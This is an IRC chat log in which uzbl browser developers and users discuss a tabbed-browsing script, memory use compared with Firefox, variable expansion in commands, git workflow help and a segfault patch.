10:01 < scj> you run the uzbl_tabbed script
10:01 < lazzareth> cdwillis, you run the uzbl_tabbed.py
10:02 < lazzareth> Dieterbe, In my own option "@uri" not being formatted because it is in a string is a bug.
10:02 < scj> lazzareth: huh?
10:03 < lazzareth> Because if I didnt want it to be formatted I would:  sh "echo \@uri"
10:04 < lazzareth> scj, I am trying to find a way to get a uzbl instance to send its @uri to a fifo socket.
10:04 < scj> sh 'echo "uri 1 $6" > $4
10:05 < scj> but you are right, @uri should be expanded
10:06 < lazzareth> scj, 'echo "uri 1 $6" > $4 works but I still cant access the window title without that variable expansion.
10:07 < cdwillis> nice work on this lazzareth
10:07 < lazzareth> cdwillis, Is it working?
10:08 < cdwillis> yep
10:08 < scj> lazzareth: yeah, and variable expansion will work on all commands eventually
10:08 < cdwillis> i didn't see an option to open a link in a new tab on the right click menu
10:08 < cdwillis> cool
10:09 < lazzareth> cdwillis, Sadly theres only so much I can do, adding an "open in new tab" menu option is on the wishlish though.
10:10 < cdwillis> don't think i'm complaining, this is awesome
10:10 < cdwillis> i'm going to set the foreground / background colors for the tabs
10:10 < cdwillis> and adjust the keybindings
10:11 < lazzareth> cdwillis, set them in your main uzbl config file (uzbl_tabbed.py can read them from there :P)
10:11 < lazzareth> Just like on the wiki page http://www.uzbl.org/wiki/uzbl_tabbed#configuration
10:11 < cdwillis> i just added them, what is this option exactly: set window_size = 800,800
10:12 < lazzareth> Thats the default gtk window size in pixels
10:12 < cdwillis> i'm on a netbook with 1024x600 resolution
10:12 < cdwillis> ok cool
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10:13 < scj> cdwillis: what wm?
10:13 < cdwillis> dwm
10:13 < scj> because if my screen had that low res, I wouldn't be bothering with tiling, I'd just keep my uzbls in a specific workspace
10:14 < scj> s/tiling/tabbing/
10:14 < Ralith> hm
10:14 < Ralith> is this right
10:14 < cdwillis> i actually posted a screenshot on the uzbl wiki the other day
10:14 < Ralith> uzbl is eating up 50MB of RAM for just one instance
10:14 < Ralith> 50MB resident, that is--216MB virtual.
10:14 < lazzareth> Played with the goto tab keybinding? (Each tab on the tablist has a number next to it, if you want to jump to a specific tab quickly type gi20 (where 20 is the tab you wanted to jump to))
10:15 < lazzareth> or change gi_ to whatever you like
10:15 < cdwillis> i see four separate instances in htop and i'm just using 120mb total ram
10:15 < Ralith> just?
10:16 < Ralith> that's a lot for four simple, lightweight browser instances.
10:16 < Ralith> though I'm seeing almost twice that much usage-per-instance.
10:16 < lazzareth> I tried out close to 60 uzbl tabs in uzbl_tabbed yesterday and clocked at just over 1gb of ram usage :P
10:16 < Ralith> yeah something's wrong
10:16 < Ralith> my firefox does like a hundred tabs and does it happily on much less than 512MB
10:16 < cdwillis> thats not just uzbl, that's my entire systen :p
10:17 < Ralith> well, my issue still remains nad lazzareth confirms it's not just me
10:17 < Ralith> uzbl is using a lot of memory :|
10:17 < lazzareth> Ralith, Thats 60*18mb instances
10:17 < lazzareth> Its to be expected
10:17 < Ralith> dear god, imagine 60*50MB :|
10:18 < cdwillis> is there a way to label the tabs starting at 1 instead of zero?
10:18 < Ralith> this much should not be necessary
10:18 < Ralith> again, firefox does much better and firefox is anything but lightweight.
10:18 < lazzareth> cdwillis, I can walk you through the code modifications if you like
10:18 < cdwillis> don't worry about it, i'll just tinker with it later when i'm bored
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10:19 < scj> Ralith: ff is able to share a fair amount of memory between the tabs, uzbl are seperate instances
10:19 < lazzareth> cdwillis, Just have a look at the update_tablist function, just change the line "pango += tab_format % (colours[0], index, colours[1], uzbl.title)" and replace index with index+1
10:20 < lazzareth> cdwillis, Though keep in mind that will throw out the "goto tab by number" command.
10:20 < Ralith> scj: but in theory, uzbl wouldn't benefit from sharing unless you had many instances of the same page or anything
10:20 < Ralith> it's supposed to just do the rendering, right?
10:20 < Ralith> and webkit is dynamically linked.
10:20 < Ralith> so why is a single instance using more memory than X?
10:21 < scj> no idea
10:21 < Ralith> this looks like I'm going to see myself using firefox on my netbook for resource conservation purposes, and that's just silly.
10:22 < scj> all I know is that browsing is a complex beast
10:22 < Ralith> and I guess uzbl hasn't had long to optimize, but still...
10:23 < Ralith> it should be incredibly lightweight given the minimal expected features.
10:23 < Ralith> that reminds me, there was something else
10:23 < Ralith> why does uzbl depend on gtk?
10:23 < DuClare> Webkit needs something for drawing widgets
10:23 < mxey> Ralith: See the FAQ ;)
10:23 < DuClare> So we use webkit-gtk
10:23 < Ralith> ah.
10:23 < Phillemann> Ralith: You could try arora and midori as a reference
10:23 < DuClare> So we depend on gtk anyway, so we use it in our stuff as well
10:24 < Ralith> Phillemann: I am; arora is using three times the memory for fifteen times the content.
10:24 < holizz> lazzareth: I might have a solution to make uzbl_tabbed open new windows in new tabs.
10:25 < lazzareth> holizz, I saw your new new window handler fork :P
10:25 < Phillemann> Ralith: And midori? It could be a GTK issue somehow. :)
10:25 < lazzareth> holizz, I like it :)
10:25 < Ralith> don't have midori, don't really care to test it
10:25 < Ralith> I highly doubt it's a gtk issue
10:25 < Ralith> probably just some missing optimizations
10:26 < Phillemann> Yeah but where? In uzbl?
10:26 < Ralith> but it's a usability breaker in one of the contexts I would most like to use uzbl--low-resource systems.
10:26 < cdwillis> midori is pretty good, arora sucked for me
10:26 < holizz> lazzareth: All I need now is to make it fork the process.
10:26 < Ralith> arora's crashing regularly for me; I'm only running it at all cuz firefox was too heavy and I needed something to get by with until I found a lighter alternative
10:26 < Ralith> I *thought* uzbl was that lighter alternative.
10:26 < Ralith> seems to be much heavier, though.
10:27 < cdwillis> its a lot lighter for me, and it renders faster than firefox to boot
10:27 < Ralith> lighter how?
10:27 < Ralith> I do agree that webkit is nice.
10:27 < Ralith> as is the UI design.
10:27 < cdwillis> isn't using as much memory and starts up faster
10:28 < Ralith> what memory usage are you getting?
10:28 < cdwillis> let me run htop and check uzbl against firefox3
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10:31 < cdwillis> firefox is using 17mb more ram than uzbl
10:31 < cdwillis> just loading the front page of reddit
10:31 < lazzareth> Dieterbe, Actually variable expansion is working in my get title command however I stumbled onto a new bug at the same time.
10:32 < Dieterbe> lazzareth: uzbl.org/bugs is your friend
10:33 < lazzareth> Gah, scrap that, variable expansion is still not working.
10:33 < DuClare> cdwillis: What if you have 10 uzbls versus firefox3 with 10 tabs?
10:36 < cdwillis> i'll try it for you DuClare
10:36 < Ralith> yeah, that's the real question
10:37 < Ralith> 17MB of constant overhead is nothing.
10:37 < Ralith> 17MB overhead per webpage matters.
10:39 < cdwillis> i opened 10 instances of uzbl all with the front page of reddit
10:39 < cdwillis> and 10 tabs of the same reddit page in firefox
10:39 < cdwillis> and firefox is using around 40mb less ram
10:40 < cdwillis> it took forever to render the page though
10:40 < cdwillis> if that's of any good haha
10:41 < cdwillis> uzbl is a lot more responsive
10:42 < Ralith> sounds like firefox is much easier on the memory, though :/
10:42 < Ralith> and I tend to spam tabs
10:42 < cdwillis> you usually have ten or more tabs at once?
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10:43 < Ralith> ten?
10:43 < Ralith> hah
10:43 < cdwillis> thing is, I haven't noticed memory leaks with uzbl, but if I leave firefox open for hours the memory usage gets obnoxious
10:43 < Ralith> I've probably approached a hundred :P
10:43 < cdwillis> haha, you're a monster :p
10:43 < scj> why would you do that?
10:43 < Phillemann> cdwillis: Bad thing is, firefox leaks X handles, which are reclamied only when X is restarted.
10:44 < scj> wouldn't it just be better to keep a list of the urls instead?
10:44 < Ralith> Phillemann: does it leak thousands of them?
10:45 < Phillemann> Ralith: I don't recall any numbers. ;)
10:45 < Ralith> I doubt it matters, in that case.
10:45 < cdwillis> lazzareth: I noticed in the screenshot on the wiki uzbl_tabbed is showing the page name in the tabs, but it's not for me
10:46 < scj> but I think the point is that uzbl can be much more lightweight if you don't use uzbl as you would use ff
10:46 < Phillemann> scj: What do you mean?
10:47 < scj> Phillemann: if you have 100+ tabs, you are wasting alot of computer resources on keeping tabs open that you won't even look at again
10:47 < Ralith> scj: ff can be much more lightweight if I don't use it that way, too :P
10:47 < Phillemann> Hehehe
10:47 < Ralith> more lightweight than uzbl, even.
10:48 < Phillemann> The application is flawed, so just avoid that flaw
10:48 < lazzareth> cdwillis, Oh. At the time being the only way to get the tabname is to launch a uzblctrl process to communicate to the uzbl instance via a socket to give it a command to pipe the window title back to the manager. It couldnt get hackier. Until the main uzbl application gets an update to fix variable expansion in commands thats all I can do. Sorry, wont be long now.
10:49 < scj> Ralith: use ff then
10:49 < Ralith> but I don't wanna ;_;
10:50 < cdwillis> lazzareth: cool, i was just curious
10:50 < Phillemann> scj: That's ridiculous...
10:51 < scj> vOv just saying, if he wants 100+ pages open at any given time, ff probably is your best choice
10:52 < Ralith> but it really shouldn't be; in theory, I would imagine something as minimal as uzbl could easily beat ff out.
10:52 < holizz> I'm thinking it might be an idea to make a fork of lazzareth's uzbl_tabbed which adds an address bar and bookmarks, and all that rubbish. That would be an interesting project.
10:53 < Phillemann> Ralith: It would _certainly_ be interesting to investigate why uzbl is using so much ram and if it's webkit, gtk, missing tabs or something else entirely.
10:53 < Ralith> it would.
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10:53 < Ralith> unfortunately, I have neither the expertise nor the spare time to do so myself :/
10:53 < lazzareth> holizz, That would be interesting though like anything else make it optional.
10:54 < Ralith> though it would be fun to learn memory profiling.
10:54 < Phillemann> Ralith: Dito
10:54 < cdwillis> i'm going to guess that it's webkit and not bother to do any scientific testing :p
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10:54 < Phillemann> cdwillis: That's why I thought of comparing uzbl to arora and midori, which both use webkit, too
10:54 < cdwillis> you should try out chromium if you're looking for a light weight browser (no flash support still though)
10:55 < lazzareth> holizz, Im wondering if its possible to make my tablist clickable... that would be a worthy enhancement.
10:55 < lazzareth> (without using gtk tabs that is)
10:56 < cdwillis> that would indeed be awesome
10:57 < lazzareth> brb
10:57  * DuClare wants Emacs' iswitchb or ido for switching uzbls
11:00 < Dieterbe> "a whole OS inside an editor" is so un-unixy it's not even funny anymore
11:01 < DuClare> Sigh
11:02 < Dieterbe> you disagree?
11:03 < DuClare> I've intended to blog about "emacs vs. unix" for quite a while
11:03 < DuClare> There's another point of view which should invalidate the argument about emacs being inherently un-unixy, to some extent
11:04 < Dieterbe> i'ld love to hear/read it
11:04 < DuClare> It's hard to get started with writing though. :x
11:04 < DuClare> But one day I *will* do it
11:04 < DuClare> Hopefully soon
11:06 < Dieterbe> i allow you to point me to any already existing explation as well
11:06 < DuClare> I haven't looked for one
11:06 < DuClare> It's all hiding in my head. :)
11:15 < cdwillis> damn, the tabbed interface ignores the set background_color
11:15 < cdwillis> reverting the the gtk theme
11:15 < cdwillis> status_background i meant
11:21 < scj> is there some way to serialize a page's state?
11:25 < lazzareth> Bug report added: http://www.uzbl.org/bugs/index.php?do=details&task_id=56
11:27 < lazzareth> cdwillis, It's a known issue (in the issues section). I don't quite know how to fix that at the moment but I have a suspicion its a problem in uzbl. Maybe uzbl isn't correctly setting the background colour for the correct gtk mode that is active when in uzbl_tabbed.py
11:29 < lazzareth> holizz, Do you have any ideas?
11:30 < cdwillis> lazzareth, when i run just uzbl the colors are fine, but uzbl_tabbed.py leaves that gtk grey around my normal colors. hmmm
11:30 < scj> lazzareth: variable expansion only works on print statements, afaik
11:30 < scj> it's not the quotes
11:31 < lazzareth> scj, Can you use print to redirect output to a socket though?
11:31 < lazzareth> People have said its possible but I havent seen a working demo
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11:33 < holizz> lazzareth: No idea what the problem is.
11:33 < lazzareth> The problem or the solution?
11:34 < lazzareth> cdwillis, Yeah thats what I was referring to, the status background colour not being honored and it reverting to the gtk default. pango background colours still work though.
11:34 < scj> if you want to query a uzbl instance something, you use uzblctrl -s $socket -c 'print @foo'
11:35 < Dieterbe> cdwillis: lazzareth : when i worked on the coloring of the statusbar i found out you can give the background color of widgets a separate color, but you cannot change the color of the "real" background. this is taken care of by the gtk theme. this is why i needed status_background which is actually a hack
11:37 < lazzareth> scj, Thats what I am currently doing http://tinyurl.com/uzbl-tabbed-py-line236
11:39 < lazzareth> The problem is that there is currently no way to get that information through the fifo sockets. If you have 20 tabs open and want to update the tab title once every 5 seconds you are going to be launching about ~4 spawns a second to get up-to-date tab titles.
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11:41 < scj> why don't you use some python socket lib to query uzbl directly?
11:43 < holizz> Regarding status_background not working: look at uzbl.c line 2123 - notice that it sets the background of the main window - uzbl doesn't have a main window when it's a plug.
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11:44 < lazzareth> scj, I think I will do just that.
11:44 < scj> uzblctrl is meant for use in sh scripts. general purpose languages can do it themselves
11:50 < lazzareth> holizz, That should be setting the background colour of the vbox not the main window (afaik)
11:51 < holizz> Here you go: http://github.com/holizz/uzbl/commit/8dbf8650baaaf3180f77913271f95dd5b928d8d2
11:52 < holizz> Oooh. I didn't notice you could comment on commits before. That's a cool feature.
11:54 < lazzareth> (I have never performed a merge before, short of me making the same code changes how do I pull that in?)
11:55 < lazzareth> Do I add remote?
11:56 < holizz> Yes. git add remote holizz git://github.com/holizz/uzbl.git
11:56 < holizz> Then git cherry-pick 8dbf8650b should merge in just that one change.
11:58 < holizz> Oh, you should git fetch holizz between those two commands, of course.
11:58 < DuClare> cherry-pick :(
11:58 < lazzareth> Done :)
11:58 < lazzareth> DuClare, :( ?
11:59 < lazzareth> holizz, Does it work for you?
12:00 < holizz> Does what? uzbl_tabbed and status_background?
12:00 < lazzareth> Yeah?
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12:01 < holizz> Sure. Of course I had to change cmd = "uzbl ..." in uzbl_tabbed so that it used the uzbl I'd just compiled rather than the one in /usr/bin.
12:01 < And1> Hey folks. I'm interested in testing uzbl on my debian lenny, or in my sid-chroot. What's the easiest way to run uzbl on my system?
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12:02 < holizz> And1: git clone ...; make
12:02 < And1> Kthx, I'll try that. :)
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12:21 < lazzareth> holizz, Now I've lost the background all together
12:21 < lazzareth> I mean lost the status_background in a normal uzbl instance
12:21 < holizz> lazzareth: Eh?
12:21  * lazzareth is investigating further 
12:22 < holizz> Interesting...
12:24 < cdwillis> its using gtk default?
12:26 < holizz> lazzareth: My super power is making a commit, then having to make another 5 minutes later because I did something wrong.
12:27 < lazzareth> :P
12:27 < holizz> Fetch from me again, and you can cherry-pick 51a387 too.
12:27 < holizz> Or just checkout the commit before you cherry-picked my previous one and then cherry-pick this one.
12:31 < lazzareth> holizz, Can I just merge with a strategy that will resolve by date?
12:32 < holizz> lazzareth: What do you mean?
12:33 < lazzareth> I dont know :S I was just reading the man page on git merge
12:34 < holizz> I know you can run git merge holizz/experimental to get all my changes.
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12:44 < lazzareth> AhhHHH! I did a couple of git reset HEAD^ 's and now I cant push my new changes to github!?
12:45 < holizz> Where are you in relation to origin/experimental?
12:45 < holizz> You can't go back on something you push to github.
12:45 < lazzareth> 2 back 1 new
12:47 < holizz> Did you push the HEAD you were on before to GitHub?
12:48 < lazzareth> I've fixed the problem
12:48 < lazzareth> I needed to pull from my origin again
12:48 < lazzareth> then git automatically merged my commits
12:50 < lazzareth> How do I resolve git merge conflicts
12:51 < holizz> git add _file_ once you've manually resolved them.
12:51 < lazzareth> holizz, When I pulled from your experimental it changed some of my files now they have ">>>>>>> 51a3875d25804f0174573a5e8"'s in them
12:51 < lazzareth> Ahh.
12:52 < holizz> So fix those bits, git add file.c, git commit.
12:53 < scj> posted a simple perl version of uzblctrl on the wiki
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13:07 < lazzareth> holizz, your copy of uzbl_tabbed.py is really out of date
13:08 < lazzareth> I just tried to cherry pick your latest commit and I've pulled in a day old uzbl_tabbed.py :P
13:08 < Dieterbe> lazzareth: wow. you're new to git and already cherrypicking? nice ^^
13:08 < holizz> I know. I've only been merging with Dieterbe/experimental.
13:09 < lazzareth> Dieterbe, Learned it 5 minutes ago :P
13:09 < holizz> Haha. Oops. cherry-pick ought to not do that really.
13:09 < Dieterbe> once i've studied both the current example tabbed script and the new one from the wiki, i'll probably move the one from the wiki into the examples dir
13:10 < holizz> Dieterbe: You mean the one in mason-larobina/experimental?
13:14 < Dieterbe> i mean Dieterbe/experimental/examples/..uzbl_tabbed.py VS the one on the wiki
13:14 < Dieterbe> i have no idea which is the one in mason-larobina/experimental
13:14 < holizz> mason-larobina/experimental = the one on the wiki.
13:14  * lazzareth is mason-larobina
13:15 < mxey> the one on the wiki does not respect $XDG_CONFIG_HOME, btw.
13:16 < mxey> http://sprunge.us/RedT
13:17 < lazzareth> mxey, Alright I'll add the patch, thanks.
13:17 < mxey> mp.
13:21 < scj> what does dump_config do?
13:23 < lazzareth> mxey, patch added. You can find the latest at http://github.com/mason-larobina/uzbl/tree/experimental
13:25 < holizz> Copy... rite?
13:25 < holizz> It's copyright.
13:28 < lazzareth> .. I thought I fixed that?
13:28 < holizz> - # Copywrite
13:28 < holizz> + # Copyrite
13:29 < Dieterbe> both are wrong ><
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13:30 < scj> copywright
13:30 < scj> :v
13:30 < Dieterbe> copywrighte
13:30 < holizz> amirite
13:30 < Dieterbe> you mighte be
13:30 < lazzareth> Dammit, When I removed the "w" I didn't check the rest of the word was correct also :P
13:31 < mxey> copywrong.
13:31 < holizz> Dieterbe: did you get a chance to read my email?
13:31 < Dieterbe> holizz: not yet. i will tonighte
13:31 < mxey> I wish it was possible to put stuff in the PD in Germany to get rid of all the license bullshit..
13:32 < scj> how come webkit doesn't want to render text/plain?
13:33 < holizz> Dieterbe: I started writing it, and then realised policy_handler was the wrong approach. So now there's a new branch to look at.
13:33 < scj> wrong approach for what?
13:34 < holizz> scj: I imagine WebKit doesn't know it can render it.
13:34 < holizz> scj: Compare my policy_handler branch (wrong approach) with my new_window branch (wright approach).
13:41 < holizz> lazzareth: You're getting compiler warnings, right? Want to cherry-pick 130bf96 too? I'm so terrible at making sure my patches work.
13:41 < holizz> I, holizz, hereby proclaim that from now on I will be very careful when making commits to ensure I actually fix the bug.
13:42 < lazzareth> holizz, I didn't end up pulling your entire branch I manually added your changes from that commit. I will checkout your experimental branch and check it out though.
13:42 < scj> holizz: I still don't get why a policy handler is the wrong approach
13:44 < holizz> lazzareth: I know, but I that patch you manually merged is the source of the bug I just fixed.
13:45 < holizz> scj: policy_handler asks a script if it may open a new window... and the current approach is to execute uzbl -u %s ... and the new_window approach is to execute a user-specified script to open a new window.
13:46 < holizz> scj: policy_handler was just a work-around because I wasn't sure how to do what I needed to do (i.e. what I implemneted in the new_window branch).
13:48 < holizz> P.S., lazzareth, if you want to commit something that wasn't written by you, you can use the --author option.
13:49 < lazzareth> holizz, Thanks :P
13:49 < lazzareth> I'm trying to figure out how to change the colour of my vbox in python
13:49 < lazzareth> I cant seem to get it working.
13:54 < holizz> lazzareth: I can change the colour of the window, but changing the vbox doesn't seem to do anything.
13:54 < lazzareth> ^^ I've done it, never you mind :P
13:55 < scj> holizz: ok, so why not tell the policy handler to deal with the decision, instead of asking for advice?
13:55 < holizz> That's essentially what the new_window branch does.
13:56 < holizz> But I couldn't think of a scenario in which it would be useful outside of new windows, so I decided it should be called new_window.
13:59 < scj> holizz: mime types
13:59 < scj> actually, disregard that
13:59 < scj> you got a point
14:02 < holizz> I'm looking into MIME types now.
14:02 < holizz> WebKit can render text/plain, but webkit_web_view_can_show_mime_type is returning false.
14:02 < Dieterbe> we should have a mime handler or something
14:03 < Dieterbe> so that we can say: if host == pastebin && mime ==text/plain -> open urxvt with vim in it, or stuff like that
14:03 < holizz> We already have the download handler, which could do things depending on the MIME type.
14:03 < scj> I think it should be protocol that when uzbl queries handlers for boolean values, they should respond with YAY and NAY
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14:04 < holizz> And a MIME handler would have to know what WebKit can and can't render.
14:06 < scj> no, but the one writing the mime handler would
14:07 < Dieterbe> hey if i want to tell uzbl it should let webkit render a .tar.gz file, that's my damn right :)
14:07 < scj> exactly
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14:08 < holizz> I wonder what a .tar.gz looks like in uzbl...
14:08 < scj> probably alot like one of those sites that ignores the header and replies with gzip'd content anyway
14:14 < Dieterbe> yeah. naughty naughty websites
14:17 < lazzareth> Wow, firefox just ... hardlined. Skyrocketed to 100% ram usage (2gb) then filled up 60% (3gb) of my swap before I managed to kill it.
14:18 < Dieterbe> that's also quite naughty
14:18 < holizz> lazzareth: It's a common occurance for me. I run it with "nice".
14:19 < scj> isn't dump_config supposed to output something?
14:19 < holizz> Hint: WebKit won't render stuff it can't, even if you tell it to.
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14:24 < Dieterbe> scj: dump_config should echo all commands needed to bring a uzbl in the state yours is in. eg output would be something like : 'bind gg = google..\n set uri = http:/...'
14:25 < scj> how would that work with variable expansions?
14:26 < scj> take useragent, for instance. if we move WEBKIT_MAJOR to @webkit_major and to "set useragent = uzbl blah blah @webkit_major"
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14:27 < Dieterbe> scj: hmmm not sure.
14:28 < scj> would dump_config return "set useragent = uzbl blah blah 1" or "set useragent = uzbl blah blah @webkit_major"
14:29 < holizz> The former, it seems.
14:29 < Dieterbe> not sure if it even still works since we did variables
14:29 < scj> just built uzbl from your experimental and I don't get anything from 'dump_config'
14:30 < scj> holizz: but that wouldn't necessarily be the correct state
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14:30 < lazzareth> Got the styling working: http://www.uzbl.org/wiki/_media/uzbl_tabbed2.png
14:31 < bob_f> lazzareth: What are you using for the tabbing there ?
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14:31 < lazzareth> bob_f, I re-wrote the tabbing script :)
14:31 < bob_f> Cool, and it works nicely ?
14:31 < scj> variables should perhaps a have a timestamp for when they were last set
14:31 < lazzareth> Yeah, ill commit the latest version that has the working styling code.
14:32 < bob_f> Bang bang.
14:32 < Dieterbe> lazzareth: beatifull
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14:37 < scj> what if variables contained a timestamp, the original string, an variable expanded string and a list of the necessary variables to expand it properly
14:38 < Dieterbe> sounds ugly. maybe we should allow both "early" and "late" expansion depending on the type of variable
14:46 < scj> how would that work with nested variables?
14:48 < scj> also; hey, we are designing a language :v
14:48 < Dieterbe> yes we are
14:48 < lazzareth> bob_f, Heres a gist of the latest version http://gist.github.com/137497
14:48 < Dieterbe> scj: it's our goal to create a (very lightweight) language, in the end we want to make this a separate library.
14:49 < holizz> Dietrebe: I've been wondering if all this config file complexity would be better solved by embedding an interpreter for an existing language?
14:49 < Dieterbe> ( we ~ rob ) :)
14:49 < Dieterbe> holizz: type Diet<tab>
14:49 < Dieterbe> holizz: all existing languages are way too bloated
14:49 < holizz> Dieterbe, Wow. Handy.
14:49 < Dieterbe> we are making our own tiny little language and hope to separate it later
14:49 < holizz> Dieterbe, Even lua? That's fiarly lightweight isn't it?
14:50 < Dieterbe> lua is bloat compared to what we do :)
14:50 < holizz> Or how about JavaScript? There must be a way to use WebKit's JavaScript interpreter for a config file.
14:51 < lazzareth> bob_f, let us know if you have any problems with the script.
14:51 < Dieterbe> hmmm.. you'll have to discuss that with rob, who'll come online later today/tomorrow i guess
14:51 < scj> js would be a nice config language, imo
14:52 < holizz> I'll do that then. It seems silly to invent a new language when there are so many out there already.
14:53 < scj> especially since we already have the vm loaded
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15:55 < lazzareth> holizz, Know much about that variable expansion issue? http://www.uzbl.org/bugs/index.php?do=details&task_id=56
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15:58 < scj> lazzareth: echo?
15:58 < holizz> I know nothing about the variable expansion. I'm just hoping we start using a real language soon.
15:58 < lazzareth> scj, Yeah. Do you know what needs to be done to make echo act like print?
15:59 < lazzareth> holizz, Doesn't help uzbl_tabbing any :P
15:59 < scj> afaik, only print expands variables
15:59 < scj> uzbl doesn't provide echo
15:59 < holizz> lazzareth, Maybe not now, but in the long-term everybody will benefit.
16:00 < lazzareth> scj, I mean sh command, do you know what I can do to make uzbl variable expand the input to the sh command?
16:00 < scj> you can't atm
16:02 < scj> you'll have to fetch the variable via the socket
16:03 < lazzareth> But when sending the print command over a socket it doesnt write back into the socket for reading it prints to the console
16:04 < lazzareth> mmm wait
16:04 < lazzareth> I can still sh "'echo @<document.title>@ > /my/fifo'"
16:05 < scj> lazzareth: http://www.uzbl.org/wiki/uzblctrl-pl
16:05 < scj> that's how you do it in perl
16:08  * lazzareth facepalm
16:08 < lazzareth> I thought it wasn't working because I forgot to send the newline character.
16:08 < lazzareth> Works perfectly now.
16:08 < lazzareth> All is well
16:09 < scj> lazzareth: put a uzblctrl.py in the wiki
16:09 < lazzareth> scj, Ok.
16:09  * dxdx wakes up and reads 10 hours of irc messages
16:09 < scj> sup dxdx
16:10 < dxdx> and i'd liked to be here a few hours ago just to tell lazzareth to import fucking socket instead of calling uzblctrl
16:11 < lazzareth> dxdx, :D
16:12 < dxdx> i'm also interested in writing the javascript based config (with a completely isolated context, not linked to webkit)
16:13 < scj> that'd be cool
16:13 < dxdx> lazzareth: import socket; socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); socket.connect("/tmp/..."); socket.send("print @uri"); socket.readline()
16:13 < lazzareth> dxdx, Already done it.
16:14 < lazzareth> dxdx, But thanks.
16:14 < dxdx> oh, i forgot the \n there too :P
16:17 < holizz> Finally I can use nationalrail.co.uk! If you disable cookie_handler, it means you can open several instances of Web sites written by idiots who over-rely on session cookies.
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17:10 < jrick> scj: I suppose that would work as well
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17:11 < scj> jrick: I got lost in all your escaping :p
17:11 < jrick> yeah, it looks pretty bad
17:12 < jrick> I'm just confused because when I ran it on the shell, I didn't need the extra escapes
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17:26 < aSuKar> hello
17:27 < uranther> helo
17:27 < aSuKar> i did  XDG_DATA_HOME=/usr/share/uzbl/examples/data XDG_CONFIG_HOME=/usr/share/uzbl/examples/config
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17:27 < aSuKar> but when i start with uzbl, it doesnt use the sample config
17:27 < aSuKar> what am i doing wrong?
17:27 < uranther> what do you mean you did that?
17:28 < uranther> you can prepend those definitions to your call to uzbl in the shell
17:28 < uranther> or export them in your bashrc
17:28 < uranther> or /etc/profile, even
17:28 < Dieterbe> what uranther said
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17:29 < aSuKar> just put those lines in .bashrc  ?
17:29 < uranther> with "export " before each one
17:29 < uranther> export XDG_DATA_HOME= ...
17:31 < uranther> Dieterbe, bct pointed out my patches for the testing framework might not merge so well. since 2 commits are just removing "static" keywords to function calls
17:31 < uranther> definitions*
17:31 < Dieterbe> your point being?
17:32 < uranther> just letting you know when you get to it I guess. All I did was a :%s/static // in vim
17:32 < aSuKar> uranther: did but doesnt work
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17:32 < uranther> aSuKar, you put in your bashrc?
17:32 < uranther> you have to source .bashrc now
17:33 < uranther> but you only have to do that for terminals that are already open
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17:35 < aSuKar> uranther: did
17:35 < aSuKar> export XDG_DATA_HOME=/usr/share/uzbl/examples/data
17:35 < aSuKar> export XDG_CONFIG_HOME=/usr/share/uzbl/examples/config
17:36 < aSuKar> in my .bashrc
17:36 < aSuKar> and did: bash and source .bashrc
17:36 < scj> wouldn't it be better to put them in your home dir?
17:36 < jrick> um, shouldn't XDG_DATA_HOME be ~/.local ?
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17:37 < jrick> and XDG_CONFIG_HOME is ~/.config ?
17:38 < aSuKar> yes but its for using the samples files
17:38 < aSuKar> but maybe this xdg stuff isnt working at my comp?
17:39 < scj> export XDG_CONFIG_HOME=$HOME/.config && cp /usr/share/uzbl/config $HOME/.config/uzbl
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17:41 < aSuKar> scj: you mean examples/config i think, but it doesnt explain why the lines in my bashrc arent working
17:43 < jrick> are you sure? echo them
17:44 < Dieterbe> scj: don't forget mkdir -p $HOME/.config/uzbl :)
17:45 < scj> that too
17:45 < N30N> http://www.uzbl.org/wiki/go-up js: now supports removing sub-domians ;)
17:46 < jrick> N30N: I see you had locked that page, sorry I went a bit edit happy last night
17:46 < scj> N30N: any reason why you are wrapping everything in an anonymous function?
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17:47 < N30N> stops globals and/or just cleaner
17:47 < N30N> I locked the page? :)
17:48 < jrick> am I talking to the wrong person? :/
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18:01 < holizz> See y'all later. (Yay, EuroPython tomorrow).
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18:03 < bob_f> My colleagues are going to EP.
18:03 < bob_f> I didn't see anything that interested me in the programme so I decided to give it a miss.
18:06 < scj> EP?
18:06 < Dieterbe> europython?
18:14 < uranther> Dieterbe, merged from ya so it will be easier for you to merge my changes
18:17  * Dieterbe off to home
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18:38 < scj> is there some way to get to fetch the header?
18:41 < uranther> scj, i can't find anything on the webkit API :/
18:41 < uranther> I'm assuming you want to grab things like the Content-type or encoding
18:41 < ptman> HEAD(1)
18:41 < scj> pretty much
18:43 < uranther> maybe in the libsoap api..
18:46 < uranther> scj, see /usr/include/libsoup/soup-headers.h
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19:04 < lazzareth> I'm exhausted. I've finished the re-factor of uzbl_tabbed.py including correct child communication with sockets. Heres the code http://gist.github.com/137497
19:05 < lazzareth> holizz, Have a play while I'm gone. I've really only done minimal testing. Its 1am here and I've got work at 5:30am.
19:05 < lazzareth> Night guys.
19:06 < lazzareth> Dieterbe, If you feel like pulling anything heres my fork http://github.com/mason-larobina/uzbl/tree/experimental
19:06 < lazzareth> Just make sure its working first :P
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19:13 < lazzareth> For for anybody who's not following: http://www.uzbl.org/wiki/uzbl_tabbed
19:13 < lazzareth> 'and
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19:42 < uranther> pretty cool lazzareth
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20:03 < pipping> hi. i use the sample config, thus i have `bind :_ = chain '%s'` set. Typing just `:<enter>`, thus passing nothing to `chain` gives me a segfault.
20:04 < uranther> hm
20:05 < uranther> me too
20:05 < uranther> thanks pipping, i'll look into it
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20:14 < uranther> pipping, http://gist.github.com/137734
20:23 < pipping> hm
20:23  * pipping doesn't know what a gist is
20:23 < pipping> i tried to download that patch and apply it against my uzbl git checkout but it fails. what should i do instead?
20:26 < uranther> yeah i'm not very good at the whole patching thing.. you can just add that line in uzbl.c
20:26 < uranther> it's around line 1075 in the chain() function
20:29 < pipping> hm
20:29 < pipping> that's around line 861 for me
20:29 < uranther> pipping, actually, the patch works for me. patch -p1 < segfault.patch
20:31 < pipping> not for me.
20:33 < uranther> :/ I think you might have an older version or something
20:33 < pipping> um no. i just cloned from github
20:33 < uranther> I just merged from dieterbe/experimental today
20:34 < pipping> suppose i'm on a different branch then
20:34 < uranther> or maybe it's cuz of my changes in my tree... :P
20:35 < pipping> i sync'ed from github.com/Dieterbe/uzbl.git
20:35 < uranther> it should download the master tree by default
20:35 < pipping> it does
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20:36 < pipping> the last commit is 7335fa...
20:42 < uranther> err if github will ever load..
20:45 < uranther> yeah github died.. :P
20:45 < uranther> anyways, if it ever loads pipping I can just change the line numbers on the patch file
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21:09 < uranther> pipping, try this http://gist.github.com/137734
